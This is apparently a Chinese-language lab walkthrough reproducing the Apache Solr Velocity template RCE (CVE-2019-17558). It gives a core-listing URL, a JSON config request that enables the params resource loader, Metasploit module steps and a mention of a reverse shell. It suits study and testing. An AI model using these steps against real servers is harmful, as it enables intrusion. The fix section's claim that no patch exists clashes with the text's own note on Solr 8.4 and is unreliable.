漏洞描述
Apache Solr 5.0.0到Apache Solr 8.3.1容易受到通过VelocityResponseWriter执行的远程代码的攻击。Velocity模板可以通过configset ’ Velocity / '目录中的Velocity模板或作为参数提供。用户定义的configset可以包含可呈现的、潜在的恶意模板。参数提供的模板在默认情况下是禁用的,但是可以通过设置params.resource.loader来启用。通过定义一个响应写入器并将其设置为true来启用。定义响应编写器需要配置API访问。Solr 8.4完全删除了params资源加载器,只有在configset是“可信的”(由经过身份验证的用户上传)时才启用configset提供的模板呈现。
受影响软件情况
厂商
apache
产品
solr
影响面
From 5.0.0(including) Up to 8.3.1(including)
漏洞类型
CWE-ID | 漏洞类型 |
---|---|
CWE-20 | 输入验证不恰当 |
CWE-74 | 输出中的特殊元素转义处理不恰当(注入) |
CWE-94 | 对生成代码的控制不恰当(代码注入) |
漏洞复现过程
WEB页面
方法一
获取内核
通过下边API获取所有内核名称
默认情况下
params.resource.loader.enabled
配置未打开,无法使用自定义模板。可以先通过如下API获取所有的核心,在vulhub中核心就是demo
http://172.20.0.1:8983/solr/admin/cores?indexInfo=false&wt=json
修改config
在URL访问/solr/demo/config
时,将params.resource.loader.enabled 置为true,启用配置。
方法:burpsuit抓包,改成POST然后修改启动配置。
共有两处修改
- 请求方式由
GET
修改为POST
- 添加请求内容
{"update-queryresponsewriter": {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
}
漏洞利用
利用Velocity模板执行命令,如ls。修改exec(%27ls%27)中的代码即可更改命令
扩展
使用shell反弹
实现RCE
方法二 Kali—MSF
打开msfconsole
search solr
查找可利用的攻击脚本,发现序号0为我们要利用的脚本
use 0
使用它
set rhost IP
设置被攻击的主机
set lhost IP
设置攻击的主机
run
运行后即可进行命令执行了
方法三 直接使用脚本
漏洞修复
- 目前Apache
- Solr官方未发布该漏洞的补丁,请关注Solr官方以便获取更新信息:https://lucene.apache.org/solr/
建议升级Appache Salc到最新版
附录
Solr_CVE-2019-17558.py
参考内容
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17558
阿里云漏洞库
LuckyCharm~的博客
solr基础
VLocity模板注入
JAVA下奇怪的命令执行
VTL语言基础